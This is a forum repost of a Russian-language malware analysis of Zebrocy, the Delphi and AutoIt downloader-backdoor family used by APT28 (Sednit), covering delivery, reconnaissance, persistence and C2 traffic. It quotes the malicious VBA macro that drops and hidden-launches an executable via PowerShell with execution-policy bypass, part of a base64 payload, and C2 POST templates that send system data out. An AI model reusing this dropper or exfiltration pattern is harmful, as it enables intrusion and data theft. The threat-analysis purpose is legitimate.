Анализ Zebrocy, вредоносного ПО первого этапа группы Fancy Bear

wumbo12

Пользователь
Сообщения
166
Симпатии
70
Баллы
38
#1
Sednit, также известные как APT28, Fancy Bear, Sofacy или STRONTIUM – группа злоумышленников, работающих с 2004 года, а может и раньше, основной целью которых является кража конфиденциальной информации у избранных объектов.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fer%2F8t%2Foz%2Fer8tozdq9qpprygi7g3zrfy6i2a.jpeg&hash=5b252bc9d1d6f8ad0db9f799a238b5f7


Примерно с конца 2015 года мы наблюдаем развертывание этой группой нового компонента – Zebrocy, загрузчика для Xagent (главного бэкдора Sednit). Лаборатория Касперского впервые упоминает данный компонент в 2017 году в отчете APT trend report и недавно выпустила статью с его описанием.

Новый компонент – семейство вредоносного ПО, состоящее из загрузчиков и бэкдоров, написанных на Delphi и AutoIt. Они играют в экосистеме Sednit ту же роль, что и Seduploader, – используются в качестве вредоносного ПО первого этапа атаки.

Мы наблюдали цели Zebrocy в Азербайджане, Боснии и Герцеговине, Грузии, Египте, Зимбабве, Иране, Казахстане, Киргизии, Корее, России, Саудовской Аравии, Сербии, Таджикистане, Туркменистане, Турции, Украине, Уругвае, и Швейцарии. В числе целей – дипломаты, сотрудники посольств и министерств иностранных дел.

Семейство Zebrocy состоит из трех компонентов. В порядке развертывания: загрузчик на Delphi, загрузчик на AutoIt и бэкдор на Delphi. На рисунке 1 показаны взаимосвязи между этими компонентами.

В данном посте мы опишем это семейство и его взаимодействие с более ранним инструментом кибершпионажа Seduploader, а также различия и сходства с Downdelph.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F_c%2Fpy%2Fmx%2F_cpymxbimeguvxkcb4c2gqmf-c4.png&hash=5e72b45a0431605922badd2eba6a0c5c

Рисунок 1. Экосистема Sednit

На рисунке 1 мы видим методы атаки и активно используемые Sednit вредоносные программы. В экосистеме Sednit наиболее часто используемая «точка входа» – вложения в письма электронной почты. Согласно недавнему посту в блоге исследователей из Palo Alto Networks, DealersChoice все еще используется. После этапа разведки на заинтересовавших злоумышленников целевых машинах происходит развертывание Xagent и Xtunnel.

Методы атаки

Первый компонент атаки доставляется с помощью Zebrocy через email. Жертвы открывают вложения – документы Microsoft Office, либо архивы.

Вредоносные документы

Используемые Sednit вредоносные документы скачивают компоненты первого этапа атаки через Visual Basic для приложений (VBA), эксплойты или даже через динамический обмен данными (DDE).

В конце 2017 года группа Sednit запустила две кампании, начав распространение двух разных вредоносных документов. Первый назывался Syria – New Russia provocations.doc, второй – Note Letter Mary Christmas Card.doc.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fzz%2Fr0%2Fcy%2Fzzr0cyupbuw9gky4fhsbn5oplf4.png&hash=cec446c7f55d6a8f402633b8b0e83ae8

Рисунок 2: Вредоносный документ Zebrocy

Оба вредоносных документа содержат макрос VBA, создающий файл со случайным именем в %TEMP%. Исполняемый файл малвари расшифровывается и записывается в этот файл, который далее выполняется с помощью команды PowerShell или Scriptable Shell Objects.

[...]
Sub AutoClose()
On Error Resume Next
vAdd = ""
For I = 1 To 8
vAdd = vAdd + Chr(97 + Rnd(20) * 25)
Next
vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e"
SaveNew vFileName, UserForm1.Label1.Caption
Application.Run "XYZ", vFileName, "WScript.Shell"
End Sub
Public Function XYZ(vF, vW)
vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';"
Call CreateObject(vW).Run(vStr, 0)
End Function
[...]
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu
[...]

Пример функции Visual Basic и зашифрованной по base64 первой фазы заражения из документа Syria – New Russia provocations.doc

Архивы

В некоторых кампаниях для доставки компонентов первого этапа атаки вместо макросов в документах Office использовались архивы. Предположительно, архив распространяется во вложении по электронной почте.

Все содержимое первого этапа в семействе Zebrocy – исполняемые файлы с иконкой и именем, маскирующими их под документ (на рисунке 3) для обмана жертвы.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fob%2Fxx%2Fkk%2Fobxxkk8r8aulmazib0jt_qqoke8.png&hash=41067b99f32af9fff2178df963a9ad05

Рисунок 3. Первая фаза заражения Zebrocy с помощью файла с иконкой документа Word

Загрузчик на Delphi

Загрузчик на Delphi – первый этап атаки семейства Zebrocy, хотя мы наблюдали, что в некоторых кампаниях группы Sednit этап с AutoIt начинался напрямую, без загрузчика. Большинство бинарных файлов Delphi-загрузчиков используют иконки документов Office, либо некоторые другие, например, библиотеки Windows, и иногда эти образцы запакованы с помощью UPX. Цель этого этапа довольно проста – получить максимум информации с компьютера жертвы.

При запуске малвари всплывает окно с фейковым сообщением об ошибке и именем загруженного бинарного файла. Например, если имя файла srsiymyw.exe, во всплывающем окне появится имя srsiymyw.doc (см. рисунок 4). Цель этого окна – отвлечь пользователя, чтобы он не подумал, что на компьютере происходит что-то необычное.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F0c%2Fh3%2Fhu%2F0ch3hukwyqi47gw48ea6ufsksba.png&hash=9c318cc2b0562c0daa1160c0c75425b9

Рисунок 4. Всплывающее окно загрузчика на Delphi

На самом деле, загрузчик занят созданием файла в %TEMP% с прописанным в бинарнике именем (хотя на этом этапе файл пуст). Персистентность обеспечивается путем добавления в реестр Windows записи в HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ с указанием пути к файлу с жестко закодированным именем.

Для сбора информации малварь создает новый процесс с помощью функции Windows API CreateProcess и с cmd.exe /c SYSTEMINFO & TASKLIST в качестве аргумента lpCommandLine. После получения информации результат отправляется через запрос HTTP POST на командный сервер, жестко закодированный в бинарном файле. Действие повторяется до тех пор, пока в ответ не будет получено ПО для следующего этапа заражения.

POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort=<SerialNumber_C> HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: xxxx
Host: <ip_address>
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A<DriveListing>%0D%0A%0D%0A<Path_to_the_binary>%0D%0A%0D%0A<SYSTEMINFO & TASKLIST output>
[...]

Запрос HTTP POST загрузчика на Delphi

После отправки запроса командный сервер передает ПО следующего этапа в том случае, если цель оценивается злоумышленниками как интересная. Цикл с момента отправки отчета до получения файлов составляет несколько часов. Следующий этап записывается в созданный ранее файл и выполняется.

Загрузчик на AutoIt

Загрузчик на AutoIt – еще одна фаза разведывательного этапа в процессе заражения компьютера жертвы. Далее с этого момента возможны два сценария: в первом загрузчик на Delphi – первая стадия, а упрощенный загрузчик на AutoIt – вторая. По другому сценарию загрузчик на AutoIt является первой стадией, имеет все функции Delphi-загрузчика и даже больше.

Когда загрузчик на AutoIt используется как первый этап, он выполняет множество разведывательных функций. Даже если у него и есть некоторые сходства с загрузчиком на Delphi, такие как механизм персистентности и всплывающее окно, он добавляет большую модульность в разведывательную фазу по сравнению с загрузчиком на Delphi. Вот неполный список его возможностей:

  • определение режима песочницы и виртуальной среды
  • получение списка установленного ПО (через HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall)
  • определение версии Windows (32-bit или 64-bit)
  • получение списка процессов
  • получение информации о жестком диске
  • скриншот
  • получение различной информации о компьютере жертвы с помощью объектов WMI, что, возможно, было вдохновлено кодом из этого репозитория GitHub

В зависимости от предыдущей стадии отличается имя бинарника AutoIt. Если малварь внедряется на первом этапе, оно будет похоже на имя документа. В ином случае бинарнику присваивается имя, прописанное в загрузчике на Delphi, как это показано в таблице 1.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Ff0%2Fbc%2Flm%2Ff0bclmxwmeirua-qcmjqafsie0q.png&hash=fea5e51b04ef8d795f47bece9a11e7a2


Цель этого этапа примерно такая же, как у предыдущего. Встречаются различные версии, но во всех них имеется код, выполняющий как минимум следующее:

  • получение серийного номера жесткого диска C:
  • применение сетевых функций winhttp.dll или winhttp.au3
  • исполнение кода, переданного командным сервером

Как и у Delphi-загрузчика, у загрузчика на AutoIt есть всплывающее окно – если он получен во вложении, то есть когда является первым этапом заражения. Всплывающее окно зависит от иконки бинарного файла. Например, загрузчик AutoIt с иконкой документа Adobe Reader сообщает жертве, что открываемый для просмотра файл PDF поврежден. Бинарный файл AutoIt с иконкой документа Word показывает окно для ввода пароля. Пароль не принимается во внимание, мы считаем, что это лишь способ отвлечь жертву от реальной вредоносной активности кода.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F4v%2Fjt%2Fwp%2F4vjtwpmzch49p00vkpjmacvwguo.png&hash=151c1a61fd3291ee6a0da2eaa64b0787

Рисунок 5. Всплывающее окно загрузчика на AutoIt

Бэкдор на Delphi

Бэкдор на Delphi – финальный этап цепочки компонентов Zebrocy. В прошлом мы наблюдали, как Zebrocy скачивает флагманский бэкдор группы Sednit (Xagent). В отличие от предыдущих компонентов, у этого есть внутренний номер версии, который, похоже, не связан с конкретной кампанией. Этот номер меняется со временем, как показано в таблице 2:

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fkx%2Fdl%2F1v%2Fkxdl1vtisltjfmpw_ehgm2e2g1m.png&hash=b07b516b48e5d86dafdaddf0483b596b


Обратите внимание, что мы могли пропустить какие-то версии бэкдора. Кроме того, версии перекрывают друг друга – более старые используются одновременно с новыми.

Далее мы опишем некоторые различия, которые увидели в процессе эволюции данного вредоносного ПО. В бэкдор встроен блок конфигурации. Значения конфигурации меняются от образца к образцу, но список конфигурируемых элементов остается неизменным. Однако способ хранения данных конфигурации малвари со временем эволюционировал.

Первые версии бэкдора содержали данные конфигурации в виде простого текста, как показано на рисунке 6.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fs9%2Fo-%2Fk0%2Fs9o-k0zfh0i9mbnyhkyb8grcee4.png&hash=f40fbf1777963bb671bff5e086d0c123

Рисунок 6. Данные конфигурации бэкдора на Delphi в виде простого текста

Затем в более поздних версиях авторы закодировали конфигурацию в виде шестнадцатеричных строк, как на рисунке 7.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fc8%2Fro%2Fko%2Fc8rokoyqx_vppzcypztug-cts8u.png&hash=e8ebecfdee7e59b040e8cefc672e5d8f

Рисунок 7. Зашифрованная информация о конфигурации бэкдора на Delphi

В последних версиях информация о конфигурации зашифрована в ресурсах по алгоритму AES. Старшие версии хранятся в разделе .text.

Данные конфигурации содержат:

  • ключи AES для коммуникации с командным сервером
  • адреса URL, различные от образца к образцу
  • версия вредоносного ПО
  • ключ/значение системного реестра Windows, обеспечивающие персистентность бэкдора
  • путь, по которому хранятся временные файлы (%APPDATA%)
  • имена скрытых директорий, создаваемых для хранения временных файлов: происходит конкатенация имени файлов директории и переменной среды (%APPDATA%)

После настройки малварь выполняет функцию обратного вызова с помощью функции SetTimerWindows API. Обратные вызовы позволяют оператору малвари воспользоваться множеством инструментов и командами бэкдора.

  • снятие скриншота рабочего стола жертвы
  • перехват нажатий клавиш
  • получение списка дисков/сетевых ресурсов
  • запись/чтение в реестр Windows
  • копирование/перемещение/удаление объекта файловой системы
  • исполнение файлов, либо постановка задач в запланированные

Количество команд, которые может выполнять бэкдор, а их около 30, отличается от версии к версии.

Для связи с командным сервером бэкдор сохраняет отчет по этим функциям во временный файл. Затем он производит чтение содержимого временного файла и пересылает их. Временные файлы хранятся в одной из скрытых директорий, созданных в процессе установки.

POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat). HTTP/1.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------<mmddyyhhnnsszzz>
Content-Length: <N>
Host: <ip_address>
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
----------<mmddyyhhnnsszzz>
Content-Disposition: form-data; name="userfile"; filename="%APPDATA%\Microsoft\<directories>\<tempfilename>.tmp"
Content-Type: <tempfilename_hex_encoded>.tmp
<tempfilename content>
----------<mmddyyhhnnsszzz>--

Запрос POST бэкдора на Delphi

Содержимое tempfilename – вывод любой исполняемой команды. Содержимое шифруется с помощью алгоритма AES-256-ECB, используя первый ключ AES из данных конфигурации, затем результат записывается в шестнадцатеричной системе. Содержимое, передаваемое на командный сервер, отличается в зависимости от команды, но всегда содержит серийный номер жесткого диска и первые четыре байта имени компьютера.

Например, HELLO соответствует первому пакету, отправляемому бэкдором для установки контакта с командным сервером. Как видно ниже, он содержит дату запуска задачи, внутренний номер версии бэкдора на Delphi, серийный номер HDD, имя компьютера (первые четыре байта), команду и дату, когда этот бэкдор был использован.

Start: 1/4/2018 1:37:00 PM – [<vx.x>]:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.

Второй ключ AES в данных конфигурации применяется для расшифровки ответов командного сервера.

Как и Seduploader, этот бэкдор используется для развертывания Xagent на машинах тех жертв, которые заинтересовали операторов после фазы разведки.

Заключение

Написание компонента на Delphi не является чем-то новым для группы Sednit, они уже использовали этот язык для Downdelph. Однако, даже если последний компонент не имеет с Downdelph ничего общего, есть интересные моменты, заслуживающие упоминания:

  • методы развертывания одинаковы, оба компонента внедряются в виде вложения по электронной почте
  • в последний раз мы видели Downdelph в сентябре 2015, а первый образец Zebrocy из естественной среды обитания датирован ноябрем 2015 года
  • оба написаны на Delphi

Можно предположить, что группа Sednit свернула один компонент и начала разработку нового. Единственное, что не меняется у группы – характерные ошибки:

  • имя запланированного задания: Windiws
  • имя функции, получающей системную информацию в загрузчике на AutoIt: _SOFWARE()
  • Mary вместо Merry в Note Letter Mary Christmas Card.doc

Массив байтов, используемый бэкдором на Delphi в качестве ключей AES-256, содержит 38 байтов вместо 32. Похоже на ошибку, сделанную по невнимательности.

В последние два года мы наблюдали активное использование Zebrocy группой Sednit. Наш анализ новых версий, появляющихся регулярно с 2017 года, явно указывает на то, что авторы активно поддерживают и совершенствуют Zebrocy. Можем считать, что это – один из постоянных и полнофункциональных инструментов в арсенале Sednit и потому заслуживает пристального внимания.

Индикаторы компрометации (IoCs)

Вредоносные документы
proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F5v%2F4o%2Foh%2F5v4oohqmv-bephtrwk2iml6k21g.png&hash=be87259e5ace1452bac24f6eed0f43a9


Загрузчик на Delphi
proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fst%2F2d%2Fvz%2Fst2dvzd2sswviwkzkogmwwfx6mu.png&hash=0609681123657d3c6b1c8f944b8eaef4


Загрузчик на AutoIt
proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fr-%2F_h%2F1y%2Fr-_h1yp-nkgzh_lgsvbjuung79s.png&hash=a8f6b89ad86f03bed3d45385240382db


Бэкдор на Delphi
proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Ftm%2F49%2F7r%2Ftm497rklzeoqs0ms_y1jx3f_b94.png&hash=9f472a43306f437408a9f82d3f199f73


habr.com
 
Последнее редактирование модератором:
Сверху Снизу